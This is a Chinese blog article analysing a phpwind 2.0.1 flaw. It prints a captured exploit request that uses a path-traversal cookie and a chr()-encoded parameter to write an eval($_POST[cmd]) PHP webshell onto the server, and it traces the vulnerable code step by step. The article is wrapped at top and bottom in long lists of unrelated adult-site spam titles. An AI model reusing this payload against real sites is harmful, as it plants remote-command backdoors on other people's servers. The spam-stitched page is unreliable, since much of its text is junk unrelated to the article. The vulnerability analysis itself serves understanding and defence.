国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

分析phpwind2.0.1漏洞
2005-12-17   

貓貓傳給我一個(gè)phpwind2.0.1漏洞利用程序,可以直接在目錄中寫入一個(gè)木馬。怎么說呢,這個(gè)漏洞是pinkeyes發(fā)現(xiàn)的,本文旨在分析這個(gè)漏洞的思路。直到發(fā)現(xiàn)這個(gè)漏洞是怎么產(chǎn)生的,我還在冒虛汗中,同時(shí)pinkeyes 的睿智深深的打動(dòng)了我,原來我才明白什么才是真正的技術(shù)含量。且聽我慢慢道來:
在程序運(yùn)行時(shí),我抓了一個(gè)包:


GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=<?fputs(fopen
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

Chr()里的那些東西我查了一下ascii字符表,得到的是這樣的:
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
很顯然是在error.php里寫入一行php木馬:<? eval($_post[cmd]);?> 。
所以關(guān)鍵是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出處。這兩個(gè)東西很重要!于是我下了一個(gè)phpwind 2.0.1的程序看看,開始以為是job.php有問題。進(jìn)入job.php中,只發(fā)現(xiàn)如下代碼:

elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好,在失望的同時(shí)也發(fā)現(xiàn)了$skin一定有問題,job.php文件頭有個(gè):require_once("./global.php");
接著我們來看看global.php里面的$skin參數(shù)吧:

if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦,只要我們定義了$skinco就可以滿足$skin了!所以再找找$skinco吧,$skinco只有一處解釋,其后,并沒有做任何過濾:
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好輕松,只要存在就可以?這樣只要構(gòu)造一個(gè)cookie就完全可以實(shí)現(xiàn)。咦?$skinco我們好象哪里見過。果然,就是上面抓的包里面的:
Cookie:skinco=../../require/hidden;
這樣就更加證明我的思路是正確的,風(fēng)回路轉(zhuǎn)呀。又不得不佩服這樣精彩的手法,按照pinkeyes的思路:構(gòu)造后應(yīng)該是這樣的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
這樣也就是滿足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到這里,先告一段落,我們回個(gè)頭想想。我們分析這么多就是pinkeyes要為了包含一個(gè)文件:./require/hidden.php。這就奇怪了,為什么這么pinkeyes要千方百計(jì)的來包含 ./require/hidden.php呢?直接利用不可以嗎?這個(gè)hidden.php到底是個(gè)什么樣的文件呢?恩,下面的解釋會(huì)讓你有一個(gè)滿意的答案。
我小心翼翼的打開hidden.php


<?php
!function_exists('readover') && exit('Forbidden');
$newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
$newonline=str_pad($newonline,$db_olsize)."\n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"\t".$windid."\t")){
$inselectfile='N';
$offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*會(huì)員名不在開始需要轉(zhuǎn)換指針*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>

看到這里,所有的疑團(tuán)都解開了!
1.原來文件頭多了個(gè)
!function_exists('readover') && exit('Forbidden');
這樣直接訪問是不允許的,后面的代碼也不會(huì)執(zhí)行,這樣我明白pinkeyes的苦心多走彎路來努力用include來包含這個(gè)文件
2 這個(gè)文件里有writeline()是可以寫入木馬的。$newonline正好也定義了$tidwt,所以最后的writeline()把$tidwt也寫進(jìn)去了。
寫入到了d_name 所定義的set.php這個(gè)臨時(shí)文件里。本來這樣就可以寫入一個(gè)小木馬了,只要使$tidwt為編碼:<? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考慮到set.php里的東西比較亂。所以煞費(fèi)苦心的用
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
寫入一個(gè)更簡單的木馬到error.php里!這樣才多了我們抓的第二個(gè)包:
GET /phpwind//attachment/set.php HTTP/1.1
。。。。。。。。。
后記:我感覺自己寫偵探小說還不錯(cuò),技術(shù)嘛,哎。。。。


熱詞搜索:

上一篇:動(dòng)網(wǎng)的新災(zāi)難-插件漏洞
下一篇:靈巧的腳本攻擊

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
91在线国产福利| 欧美日韩免费观看一区三区| 欧美日韩免费在线视频| 亚洲第一在线综合网站| 欧美视频你懂的| 乱一区二区av| 国产视频亚洲色图| 91免费视频观看| 奇米四色…亚洲| 国产三区在线成人av| 色综合久久中文字幕综合网| 亚洲第一狼人社区| 久久九九久久九九| 色综合天天综合狠狠| 日韩中文字幕91| 日本一区二区不卡视频| 在线观看日韩精品| 韩国女主播一区二区三区| 国产精品亲子乱子伦xxxx裸| 欧美性极品少妇| 国产精品影视在线观看| 香蕉影视欧美成人| 国产精品理论在线观看| 欧美一区二区三区视频免费 | 午夜av一区二区三区| 亚洲精品一区二区精华| 欧美亚洲另类激情小说| 丁香婷婷综合色啪| 天天操天天综合网| 亚洲精品中文在线观看| 久久精品一区二区三区不卡| 在线成人免费视频| 日本精品视频一区二区三区| 国产成人精品亚洲777人妖| 日本视频在线一区| 亚洲午夜视频在线| 亚洲美女屁股眼交| 国产精品久久久久久久久免费相片| 日韩视频在线你懂得| 91福利在线播放| 97精品久久久久中文字幕| 国产成人鲁色资源国产91色综| 日韩在线一区二区| 亚洲一区在线电影| 一区二区三区不卡在线观看 | 日本欧美一区二区在线观看| 中文字幕一区二区不卡| 久久综合精品国产一区二区三区| 91精品福利在线一区二区三区| 精品视频一区二区不卡| 欧亚洲嫩模精品一区三区| 日本高清成人免费播放| 色播五月激情综合网| 色综合久久综合中文综合网| 97久久人人超碰| 91亚洲资源网| 欧美探花视频资源| 欧美精选一区二区| 精品少妇一区二区三区在线播放| 日韩欧美中文一区| 2023国产精华国产精品| 久久综合九色综合欧美就去吻| 欧美mv和日韩mv国产网站| 久久精品视频在线看| 国产精品色眯眯| 一区二区三区不卡在线观看| 婷婷久久综合九色国产成人| 青娱乐精品视频| 国产精品系列在线观看| 色综合久久88色综合天天| 欧美喷潮久久久xxxxx| 欧美精品一级二级| 久久久久久久久久久黄色| 中文字幕的久久| 亚洲国产日韩a在线播放| 免费观看91视频大全| 高清shemale亚洲人妖| 91在线国产观看| 欧美丰满美乳xxx高潮www| 国产亚洲精品免费| 亚洲一线二线三线久久久| 久久99久久精品| 91亚洲精品乱码久久久久久蜜桃 | 国产丝袜美腿一区二区三区| 国产精品国产三级国产三级人妇 | 一区二区三区成人| 韩国女主播一区| 91电影在线观看| 日韩欧美精品三级| 亚洲三级在线观看| 久久精品99国产精品| 91蜜桃视频在线| 精品精品国产高清一毛片一天堂| 日韩一区在线看| 美女脱光内衣内裤视频久久网站| 成人晚上爱看视频| 日韩午夜中文字幕| 亚洲一区精品在线| 成人亚洲一区二区一| 日韩三级视频中文字幕| 亚洲男女毛片无遮挡| 国产精一品亚洲二区在线视频| 欧美在线不卡一区| 亚洲视频小说图片| 国产成人a级片| 日韩欧美电影一二三| 一区二区三区精品在线| 高清国产一区二区| www激情久久| 麻豆精品久久精品色综合| 欧美丝袜丝交足nylons图片| 久久精品免费在线观看| 老色鬼精品视频在线观看播放| 欧美午夜精品一区| 亚洲精品成人精品456| www.成人在线| 中文字幕第一页久久| 成人av网址在线观看| 国产精品乱子久久久久| 成人av影院在线| 国产精品网友自拍| 成人亚洲一区二区一| 日本一区二区免费在线 | 国产麻豆91精品| 日韩精品资源二区在线| 日本麻豆一区二区三区视频| 欧美日韩一区二区在线观看视频 | 欧美一级淫片007| 欧美aaaaaa午夜精品| 91精品国产黑色紧身裤美女| 日本vs亚洲vs韩国一区三区| 69p69国产精品| 日本va欧美va精品发布| 国产精品美日韩| 激情六月婷婷久久| 久久久久久久久久久久久女国产乱 | 国产自产视频一区二区三区| 久久亚洲一区二区三区明星换脸 | 欧美久久久一区| 日韩—二三区免费观看av| 欧美二区三区的天堂| 免费在线观看日韩欧美| 精品久久久久久久久久久久久久久| 国内欧美视频一区二区| 国产欧美视频一区二区三区| 粉嫩欧美一区二区三区高清影视| 国产精品亲子伦对白| 欧美中文字幕一区| 日日摸夜夜添夜夜添亚洲女人| 日韩视频在线一区二区| 国产成人av电影| 亚洲精品第一国产综合野| 欧美日韩一区不卡| 国内精品写真在线观看| 亚洲色图制服诱惑 | 久草这里只有精品视频| 久久久99精品久久| 一本色道**综合亚洲精品蜜桃冫| 亚洲成人中文在线| wwwwxxxxx欧美| 99精品欧美一区| 青青草97国产精品免费观看 | 国产视频一区在线播放| 色狠狠综合天天综合综合| 日本不卡123| 亚洲欧美日韩久久| 日韩美女视频一区二区在线观看| 99久久免费精品高清特色大片| 青青草精品视频| 亚洲制服欧美中文字幕中文字幕| 日韩午夜精品电影| a级精品国产片在线观看| 亚洲国产精品麻豆| 日本一区二区三区在线不卡| 欧美亚洲禁片免费| av成人老司机| 久久电影网电视剧免费观看| 一区二区中文视频| 久久久九九九九| 欧美巨大另类极品videosbest| 国产成人免费高清| 久久精品国产第一区二区三区| 综合久久久久综合| 欧美大白屁股肥臀xxxxxx| 色婷婷av久久久久久久| 国产精品一区二区三区网站| 日韩在线一区二区| 亚洲国产精品综合小说图片区| 久久精品夜色噜噜亚洲aⅴ| 欧美日韩一区久久| 91在线观看视频| www.亚洲精品| 国产一区二区精品久久| 喷水一区二区三区| 日韩va欧美va亚洲va久久| 亚洲伊人色欲综合网| 亚洲综合色婷婷| 亚洲欧美一区二区久久| 亚洲视频一区在线| 亚洲欧洲韩国日本视频|